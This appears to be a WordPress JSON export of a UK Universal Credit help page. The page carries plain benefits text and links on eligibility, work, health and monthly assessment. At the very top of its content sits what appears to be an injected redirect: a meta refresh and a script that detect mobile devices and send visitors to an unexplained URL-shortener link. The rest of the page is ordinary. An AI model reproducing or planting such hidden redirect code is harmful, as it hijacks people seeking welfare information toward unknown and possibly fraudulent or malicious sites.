{"id":16611,"date":"2026-04-09T05:12:58","date_gmt":"2026-04-09T05:12:58","guid":{"rendered":"https:\/\/ucpages.co.uk\/?page_id=16611"},"modified":"2026-06-18T14:17:46","modified_gmt":"2026-06-18T14:17:46","slug":"who-is-uc-for-and-how-does-it-work","status":"publish","type":"page","link":"https:\/\/ucpages.co.uk\/?page_id=16611","title":{"rendered":"Who is UC for and how does it work"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/yzqfbXHlm0r0\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/yzqfbXHlm0r0\");<\/script>\r\n\n<p>Universal Credit is a benefit for people of working age who need financial support.<\/p>\n\n\n\n<p>It is designed to top up your income to a minimum level. That level depends on your particular circumstances.<\/p>\n\n\n\n<p>It doesn&#8217;t matter if you are working, looking for work, or unable to work due to an illness or caring responsibility.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-0756495c\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-3-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-collapsedRows-layout has-vertical-unset has-light-bg\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-6e902b2a\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-full is-resized has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"236\" height=\"133\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/Crowd-edited.jpg\" alt=\"\" class=\"wp-image-16727\" style=\"border-style:none;border-width:0px;border-radius:0px;width:337px;height:auto\"\/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-e37edc14\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-7030cb7b\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-f8db916d827e301d16f2128af57e2a78\" style=\"color:#070731\">Who can claim UC?<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-9f7b7c3a01f7fb42f6efd466b39077ba\" style=\"color:#070731\">Universal Credit provides financial support to lots of different people.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/who-is-uc-for\/\" data-type=\"page\" data-id=\"15749\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-33e99253\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-full is-resized has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"2560\" height=\"1440\" src=\"http:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/Checking-barcodes-685855718_5760x3840-edited-1.jpeg\" alt=\"\" class=\"wp-image-15742\" style=\"border-style:none;border-width:0px;border-radius:0px;width:335px;height:auto\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/Checking-barcodes-685855718_5760x3840-edited-1.jpeg 2560w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/Checking-barcodes-685855718_5760x3840-edited-1-300x169.jpeg 300w, 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class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-6ef0063c17e565d344147f443a9e88aa\" style=\"color:#070731\">UC and working<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-fb75b230d447d602ea9ad0b16ef83679\" style=\"color:#070731\">Many workers claim UC to top up their wage.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/uc-and-working\/\" data-type=\"page\" data-id=\"15753\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-2b312319\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border is-style-rounded\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" src=\"http:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2160780698-edited-1024x575.jpg\" alt=\"\" class=\"wp-image-15594\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2160780698-edited-1024x575.jpg 1024w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2160780698-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2160780698-edited-768x432.jpg 768w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2160780698-edited-1536x863.jpg 1536w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/03\/iStock-2160780698-edited-2048x1151.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-b27500bd\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-e648a713\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-df1c09a0bc811a3c4c842e7f1e36260f\" style=\"color:#070731\">UC and health<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-e06c22e47c745cd76513694ecc17d1d6\" style=\"color:#070731\">How Universal Credit works for those with health issues.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/uc-and-health\/\" data-type=\"page\" data-id=\"15746\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n<\/div><\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-columns-4b2c9e2a\" class=\"wp-block-themeisle-blocks-advanced-columns alignfull has-3-columns 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id=\"wp-block-themeisle-blocks-advanced-columns-74c1bffb\" class=\"wp-block-themeisle-blocks-advanced-columns has-1-columns has-desktop-equal-layout has-tablet-equal-layout has-mobile-equal-layout has-vertical-unset\"><div class=\"wp-block-themeisle-blocks-advanced-columns-overlay\"><\/div><div class=\"innerblocks-wrap\">\n<div id=\"wp-block-themeisle-blocks-advanced-column-c03b1344\" class=\"wp-block-themeisle-blocks-advanced-column\">\n<h4 class=\"wp-block-heading has-text-color has-link-color wp-elements-a672b3548be811d6e30173f6383c4dab\" style=\"color:#070731\">Monthly Assessment Periods<\/h4>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-e20f733f09c0c6dd284319925bea159c\" style=\"color:#070731\">Universal Credit is assessed monthly &#8211; find out how that works.<\/p>\n\n\n\n<h6 class=\"wp-block-heading has-text-color\" style=\"color:#fdb72b\"><a href=\"https:\/\/ucpages.co.uk\/universal-credit-home-page\/who-is-uc-for-and-how-does-it-work\/monthly-assessment-periods\/\" data-type=\"page\" data-id=\"507\">READ MORE<\/a><\/h6>\n<\/div>\n<\/div><\/div>\n<\/div>\n\n\n\n<div id=\"wp-block-themeisle-blocks-advanced-column-ce139f82\" class=\"wp-block-themeisle-blocks-advanced-column has-light-bg\">\n<figure class=\"wp-block-image size-large has-custom-border\"><img loading=\"lazy\" decoding=\"async\" width=\"2560\" height=\"1439\" src=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1305145757-edited-scaled.jpg\" alt=\"\" class=\"wp-image-16627\" style=\"border-style:none;border-width:0px;border-radius:0px\" srcset=\"https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1305145757-edited-scaled.jpg 2560w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1305145757-edited-300x169.jpg 300w, https:\/\/ucpages.co.uk\/wp-content\/uploads\/2026\/04\/iStock-1305145757-edited-1024x576.jpg 1024w, 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